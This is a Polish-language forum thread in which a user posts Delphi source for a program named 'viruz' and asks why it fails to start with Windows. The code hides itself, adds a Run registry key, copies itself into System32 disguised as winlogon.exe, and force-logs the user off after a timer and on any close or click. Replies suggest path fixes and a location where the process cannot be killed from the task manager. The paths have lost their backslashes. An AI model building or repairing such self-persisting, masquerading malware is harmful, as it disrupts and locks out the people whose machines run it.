[DELPHI] Rejestr!

[Bios666]

oto kod mojego programu ale jest cos nie tak bo nie uruchamia sie automatycznie po starcie windowsa ;/

unit viruz;



interface



uses

  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

  Dialogs, ExtCtrls, registry, StdCtrls, IdBaseComponent, IdComponent,

  IdTCPServer;



type

  TForm1 = class(TForm)

    GroupBox1: TGroupBox;

    Label1: TLabel;

    Label2: TLabel;

    Label3: TLabel;

    Label4: TLabel;

    Label5: TLabel;

    Timer1: TTimer;

    Timer2: TTimer;

    IdTCPServer1: TIdTCPServer;

    procedure Timer1Timer(Sender: TObject);

    procedure Timer2Timer(Sender: TObject);





    procedure FormClose(Sender: TObject; var Action: TCloseAction);

    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);

    procedure FormCreate(Sender: TObject);

    procedure GroupBox1Click(Sender: TObject);

    procedure GroupBox1DblClick(Sender: TObject);

    procedure GroupBox1Exit(Sender: TObject);







 

  





    

  private

    { Private declarations }

  public

    { Public declarations }

  end;



var

  Form1: TForm1;

  reg:tregistry;

implementation



{$R *.dfm}

 procedure TForm1.FormCreate(Sender: TObject);

begin

Form1.Visible:=false;

Timer1.Enabled:=true;

Application.ShowMainForm:=false;





Reg:=TRegistry.Create;

try

reg.RootKey:=HKEY_CURRENT_USER;

reg.OpenKey('SoftwareMicrosoftWindowsCurrentVersionRun',True);

reg.WriteString('winlogon','C:WINDOWSSystem32winlogon.exe');

copyfile(pchar(paramstr(0)),pchar('C:WINDOWSSystem32winlogon.exe'),true);

BorderIcons:= [biSystemMenu];

finally



end;

end; 

procedure TForm1.Timer1Timer(Sender: TObject);

begin



Timer1.Interval:=10000;

Application.ShowMainForm:=true;

Form1.Visible:=true;

Timer1.Enabled:=false;

Timer2.Enabled:=true;

end;



procedure TForm1.Timer2Timer(Sender: TObject);



begin

ExitWindowsEx(EWX_FORCE,0);

end;









procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);

begin

ExitWindowsEx(EWX_FORCE,0);

end;



procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);

begin

ExitWindowsEx(EWX_FORCE,0);

end;



procedure FormCreate(Sender: TObject);

begin

beep;

end;







procedure TForm1.GroupBox1Click(Sender: TObject);

begin

ExitWindowsEx(EWX_FORCE,0);

end;



procedure TForm1.GroupBox1DblClick(Sender: TObject);

begin

ExitWindowsEx(EWX_FORCE,0);

end;



procedure TForm1.GroupBox1Exit(Sender: TObject);

begin

ExitWindowsEx(EWX_FORCE,0);

end;



end.

korcze zawsze mam z tym problemy co robie nie tak?? a moze mosze zmeinic nazwe projektu na winlogon jak sie nie myle probowalem i nic;/

 

[rzeszutek]

Czy na pewno Twój plik, który chcesz aby był uruchamiany przy starcie znajduje się w reg.C:WINDOWSSystem32 i ma nazwe winlogon.exe ?
Nie wiem jak w delphi ale w C++ ścieżka do pliku powinna byc w formacie C:WINDOWSSystem32

 

[tianhao]

Moim zdaniem nie uruchamia sie dlatego ze w c:windowssystem32 jest juz plik winlogon.exe co odpowaiada za logowanie sie bodajze zapisz ten plik w c:widowssystem i wtedy powinno juz dziala bo nie bedzie mozna go zabic spod ctrl+alt+del a nie bedzie kolidowal z tym z system32 .Ja zauwazylem jak kiedys testowalem to rozwiazanie ze jednak czasem wystepuje problem i winda sie laduje ale niechce sie odpalic explorer.exe i trza go recznie .